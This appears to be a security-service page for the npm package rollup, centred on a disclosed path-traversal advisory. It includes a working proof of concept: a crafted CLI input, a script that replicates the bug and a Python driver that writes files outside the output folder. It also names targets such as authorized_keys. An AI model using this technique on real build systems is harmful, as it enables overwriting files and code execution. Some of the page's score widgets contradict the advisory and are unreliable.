npm package report

Is rollup safe?

2 known vulnerabilities, worst severity HIGH.

// reach

50 direct dependencies

3 carry known advisories, worst CRITICAL

108 packages depend on it

an advisory here reaches each of them

Create a free accountfor every dependency path, dependent and what to upgrade
// ai model usage

Tracked for PyPI packages. HuggingFace models declare Python dependencies, so npm packages are not covered.


cvss
0.0
critical

severity out of 10

epss
0.00%
medium

chance of exploitation in 30 days, 74th percentile of all CVEs

xyz score
0.0
medium

CyberXYZ composite out of 10

fig. 01 — GHSA-mw96-cpmx-2vgc, the advisory selected below

// 2 advisories

GHSA-mw96-cpmx-2vgc

HIGHCVE-2026-27606
// summary

The Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (../) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files.

// details

The vulnerability is caused by the combination of two flawed components in the Rollup core:

  • Improper Sanitization: In src/utils/sanitizeFileName.ts, the INVALIDCHARREGEX used to clean user-provided names for chunks and assets excludes the period (.) and forward/backward slashes (/, \).
    // src/utils/sanitizeFileName.ts (Line 3)
    const INVALID_CHAR_REGEX = /[\u0000-\u001F"#$%&*+,:;?[\]^`{|}\u007F]/g;

This allows path traversal sequences like ../../ to pass through the sanitizer unmodified.

  • Unsafe Path Resolution: In src/rollup/rollup.ts, the writeOutputFile function uses path.resolve to combine the output directory with the "sanitized" filename.
    // src/rollup/rollup.ts (Line 317)
    const fileName = resolve(outputOptions.dir || dirname(outputOptions.file!), outputFile.fileName);

Because path.resolve follows the ../ sequences in outputFile.fileName, the resulting path points outside of the intended output directory. The subsequent call to fs.writeFile completes the arbitrary write.

// poc

A demonstration of this vulnerability can be performed using the Rollup CLI or a configuration file.

Scenario: CLI Named Input Exploit

  • Target a sensitive file location (for demonstration, we will use a file in the project root called pwned.js).
  • Execute Rollup with a specifically crafted named input where the key contains traversal characters:
    rollup --input "a/../../pwned.js=main.js" --dir dist
  • Result: Rollup will resolve the output path for the entry chunk as dist + a/../../pwned.js, which resolves to the project root. The file pwned.js is created/overwritten outside the dist folder.

Reproduction Files provided :

  • vulnapp.js: Isolated logic exactly replicating the sanitization and resolution bug.
  • exploit.py: Automated script to run the PoC and verify the file escape.

vulnapp.js

const path = require('path');
const fs = require('fs');

/**
 * REPLICATED ROLLUP VULNERABILITY
 * 
 * 1. Improper Sanitization (from src/utils/sanitizeFileName.ts)
 * 2. Unsafe Path Resolution (from src/rollup/rollup.ts)
 */

function sanitize(name) {
    // The vulnerability: Rollup's regex fails to strip dots and slashes, 
    // allowing path traversal sequences like '../'
    return name.replace(/[\u0000-\u001F"#$%&*+,:;?[\]^`{|}\u007F]/g, '_');
}

async function build(userSuppliedName) {
    const outputDir = path.join(__dirname, 'dist');
    const fileName = sanitize(userSuppliedName);

    // Vulnerability: path.resolve() follows traversal sequences in the filename
    const outputPath = path.resolve(outputDir, fileName);

    console.log(`[*] Target write path: ${outputPath}`);

    if (!fs.existsSync(path.dirname(outputPath))) {
        fs.mkdirSync(path.dirname(outputPath), { recursive: true });
    }

    fs.writeFileSync(outputPath, 'console.log("System Compromised!");');
    console.log(`[+] File written successfully.`);
}

build(process.argv[2] || 'bundle.js');

exploit.py

import subprocess
from pathlib import Path

def run_poc():
    # Target a file outside the 'dist' folder
    poc_dir = Path(__file__).parent
    malicious_filename = "../pwned_by_rollup.js"
    target_path = poc_dir / "pwned_by_rollup.js"

    print(f"=== Rollup Path Traversal PoC ===")
    print(f"[*] Malicious Filename: {malicious_filename}")
    
    # Trigger the vulnerable app
    subprocess.run(["node", "poc/vuln_app.js", malicious_filename])

    if target_path.exists():
        print(f"[SUCCESS] File escaped 'dist' folder!")
        print(f"[SUCCESS] Created: {target_path}")
        # target_path.unlink() # Cleanup
    else:
        print("[FAILED] Exploit did not work.")

if __name__ == "__main__":
    run_poc()
// poc
### Impact
This is a **High** level of severity vulnerability.
*   **Arbitrary File Write**: Attackers can overwrite sensitive files like `~/.ssh/authorized_keys`, `.bashrc`, or system binaries if the build process has sufficient privileges.
*   **Supply Chain Risk**: Malicious third-party plugins or dependencies can use this to inject malicious code into other parts of a developer's machine during the build phase.
*   **User Impact**: Developers running builds on untrusted repositories are at risk of system compromise.
// cvss v3.1 vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

Checked 2026-10-11 at 02:59 UTC. The most recent advisory here was published 2026-02-25. Updated continuously from NVD, GHSA, OSV and CNA feeds.

Think a verdict here is wrong? Tell us — we respond within 2 business days.